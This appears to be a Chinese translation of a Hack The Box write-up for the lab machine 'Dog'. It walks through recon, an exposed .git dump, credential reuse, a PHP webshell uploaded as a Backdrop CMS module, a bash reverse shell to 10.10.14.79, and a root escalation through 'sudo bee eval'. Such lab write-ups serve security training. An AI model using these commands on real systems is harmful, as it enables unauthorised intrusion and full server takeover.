HTB: Dog
Box信息
| 名称 |
Dog |
| 发布日期 |
2025年3月8日 |
| 退役日期 |
2025年7月12日 |
| 操作系统 |
Linux |
| 基础分值 |
简单 [20] |
| 创建者 |
FisMatHack |
侦察
nmap扫描
nmap发现两个开放的TCP端口:SSH (22) 和 HTTP (80):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.58
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 16:11 EST
Nmap scan report for 10.10.11.58
Host is up (0.088s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.58
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 16:12 EST
Nmap scan report for 10.10.11.58
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home | Dog
| http-robots.txt: 22 disallowed entries (15 shown)
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
根据OpenSSH和Apache版本,主机可能运行Ubuntu 20.04 focal。还存在robots.txt以及暴露的.git仓库!
网站 - TCP 80
站点
该网站是一个关于狗的博客:

关于页面有一个电子邮件地址support@dog.htb:

登录页面接受用户名或电子邮件:

密码重置选项卡上的错误消息似乎验证用户名是否在使用中:

技术栈
页面页脚显示该站点运行在Backdrop CMS上:

HTTP响应头也显示了这一点以及Apache:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
HTTP/1.1 200 OK
Date: Wed, 19 Feb 2025 21:14:03 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Backdrop-Cache: HIT
Etag: "1739999544-gzip"
Content-Language: en
X-Frame-Options: SAMEORIGIN
X-Generator: Backdrop CMS 1 (https://backdropcms.org)
Cache-Control: public, max-age=300
Last-Modified: Wed, 19 Feb 2025 21:12:24 +0000
Expires: Fri, 16 Jan 2015 07:50:00 GMT
Vary: Cookie,Accept-Encoding
Content-Length: 13332
Content-Range: 0-3638/3639
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
|
Backdrop是一个PHP CMS,以/index.php加载主页有效。404页面是默认的Apache 404:

目录暴力破解
使用feroxbuster对站点进行扫描,包含-x php因为知道站点是PHP:
1
|
oxdf@hacky$ feroxbuster -u http://10.10.11.58 --dont-extract-links -x php
|
这没有找到任何通过GitHub无法获得的内容,但有助于确定仓库根目录中的文件夹在Web服务器上可用。
Backdrop版本
所有没有index.php文件的目录都启用了列表功能,点击浏览时,会在Web服务器上的testing.info文件中找到版本信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
oxdf@hacky$ curl http://10.10.11.58/core/profiles/testing/testing.info
name = Testing
description = Minimal profile for running tests. Includes absolutely required modules only.
version = BACKDROP_VERSION
backdrop = 1.x
type = profile
hidden = TRUE
dependencies[] = layout
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
|
版本为1.27.1。
源代码
下载仓库
nmap注意到Web服务器上有一个暴露的.git仓库。使用git-dumper获取它:
1
|
oxdf@hacky$ git-dumper http://10.10.11.58/ repo
|
配置
仓库根目录中有一个settings.php文件。它包含数据库连接信息:
1
2
|
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
|
那里有一个密码,但对root用户无效,因此需要用户名。可以合理认为它们可能以@dog.htb格式存在。使用grep检查仓库中任何地方:
1
2
3
4
|
oxdf@hacky$ grep -r '@dog.htb' .
./.git/logs/refs/heads/master:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
./.git/logs/HEAD:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
./files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "tiffany@dog.htb"
|
root和dog在密码重置表单中无效,但当输入tiffany时,它会以不同的错误重定向到登录页面。
获取www-data shell
CVE误报
搜索此版本和CVE返回了几个经过身份验证的RCE引用和一个CVE:
CVE-2024-41709描述为:
Backdrop CMS 1.27.3之前版本和1.28.x 1.28.2之前版本在显示字段标签之前没有充分清理。此漏洞的缓解因素是攻击者必须具有"管理字段"权限的角色。
这似乎不太有趣。这些搜索结果中的"漏洞利用"并不是真正的漏洞利用,而是一种通过管理员访问上传插件的方式。
管理员RCE
管理员访问
用户名tiffany和密码"BackDropJ2024DS2024"可以登录到管理员页面:

通过此处访问,可以遵循在CarpeDiem中采取的相同路径。需要通过功能 -> 安装新模块菜单上传恶意模块:

恶意模块
此仓库描述了在不同版本的Backdrop中利用不同漏洞,但它在发布选项卡的扩展中也有一个webshell:

下载reference.tar。如果从存档中提取文件,有一个reference目录:
1
2
3
|
oxdf@hacky$ tar xf reference.tar
oxdf@hacky$ cd reference/
oxdf@hacky$ ls
|
shell.php有一个简单的webshell:
1
|
<?php system($_GET['cmd']);?>
|
安装Webshell
在"安装新模块"页面,右下角有一个"手动安装"链接:

在下一页,在"上传要安装的模块、主题或布局存档"下提供reference.tar:

shell将存在于/modules/[模块名称]/shell.php。这里的模块名为reference:

有一个清理脚本运行相当快,因此需要快速行动使用此功能。
Shell
将命令替换为bash -c ‘bash -i >%26 /dev/tcp/10.10.14.79/443 0>%261’,这是一个带有& URL编码的bash反向shell。提交后,获得一个shell:
1
2
3
4
5
6
|
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.58 43156
bash: cannot set terminal process group (1015): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/reference$
|
使用标准技巧升级shell:
1
2
3
4
5
6
7
8
9
10
11
|
www-data@dog:/var/www/html/modules/reference$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@dog:/var/www/html/modules/reference$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@dog:/var/www/html/modules/reference$
|
获取johnsusack shell
枚举
/home中有两个具有主目录的用户:
1
2
|
www-data@dog:/home$ ls
jobert johncusack
|
这与passwd中配置shell的用户匹配:
1
2
3
4
|
www-data@dog:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
|
su / SSH
来自网站配置和以tiffany登录CMS的密码也适用于johncusack,使用su:
1
2
3
|
www-data@dog:/$ su - johncusack
Password:
johncusack@dog:~$
|
以及SSH:
1
2
3
4
|
oxdf@hacky$ sshpass -p 'BackDropJ2024DS2024' ssh johncusack@10.10.11.58
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-205-generic x86_64)
...[snip]...
johncusack@dog:~$
|
获取root shell
枚举
johncusack可以使用sudo以root身份运行bee:
1
2
3
4
5
6
7
|
johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
|
bee
命令
bee是Backdrop CMS的命令行实用程序。运行bee会打印一个带有大量子命令的帮助菜单:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
johncusack@dog:~$ bee
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]
Global Options:
--root
Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.
--site
Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.
--base-url
Specify the base URL of the Backdrop site, such as https://example.com. May be useful with commands that output URLs to pages on the site.
--yes, -y
Answer 'yes' to questions without prompting.
--debug, -d
Enables 'debug' mode, in which 'debug' and 'log' type messages will be displayed (in addition to all other messages).
Commands:
...[snip]...
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
...[snip]...
|
底部的一个很突出:
1
2
3
|
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
|
根目录
运行eval显示需要一些代码:
1
2
3
|
johncusack@dog:~$ sudo bee eval
✘ Argument 'code' is required.
|
提供一些代码仍然错误:
1
2
3
|
johncusack@dog:~$ sudo bee eval 'echo "hello"'
✘ The required bootstrap level for 'eval' is not ready.
|
其他命令也出现相同错误:
1
2
3
|
johncusack@dog:~$ sudo bee db-query 'show databases'
✘ The required bootstrap level for 'db-query' is not ready.
|
此错误并不完全清楚,但问题是bee旨在成为Backdrop项目的命令行管理工具。运行bee状态显示:
1
2
3
|
johncusack@dog:~$ bee status
⚠️ No Backdrop installation found. Run this command again from within a Backdrop installation, or use the '--root' global option.
|
/var/www/html有Web应用程序:
1
|
johncusack@dog:/var/www/html$ ls
|
从该目录运行有效:
1
2
3
4
5
6
7
8
|
johncusack@dog:/var/www/html$ sudo bee db-query 'show databases'
backdrop
information_schema
mysql
performance_schema
sys
johncusack@dog:/var/www/html$ sudo bee eval 'echo "hello"'
hello
|
或者,将–root设置为该目录也有效:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
johncusack@dog:~$ sudo bee status --root=/var/www/html
Backdrop CMS 1.27.1
Bee version 1.x-1.x
Bee root directory /backdrop_tool/bee
Site root directory /var/www/html
Site type Single
Database mysql
Database name backdrop
Database username root
Database password **********
Database host 127.0.0.1
Database port
Cron last run 2025-02-07 21:05:34 GMT+0000
Install time 2024-07-09 18:12:15 GMT+0000
Update last check 2025-02-07 21:12:04 GMT+0000
Settings.php path /var/www/html/settings.php
Drupal compatibility on
Config storage active /var/www/html/files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active
Config storage staging /var/www/html/files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/staging
Site name Dog
Default theme basis
Admin theme seven
Public files path /var/www/html/files
Temporary files path /tmp
Preprocess CSS on
Preprocess JS on
Theme debug off
Error display level hide
PHP cli version 7.4.3-4ubuntu2.28
PHP ini path /etc/php/7.4/cli/php.ini
|
烦人的是,使用没有=的–root无效:
1
2
3
4
|
johncusack@dog:~$ sudo bee status --root /var/www/html
✘ 1 is not a valid directory.
⚠️ No Backdrop installation found. Run this command again from within a Backdrop installation, or use the '--root' global option.
|
利用
弄清楚这一点后,可以运行PHP代码:
1
2
|
johncusack@dog:/var/www/html$ sudo bee eval 'system("id")'
uid=0(root) gid=0(root) groups=0(root)
|
这很容易获得root shell:
1
2
|
johncusack@dog:/var/www/html$ sudo bee eval 'system("bash")'
root@dog:/var/www/html#
|
以及flag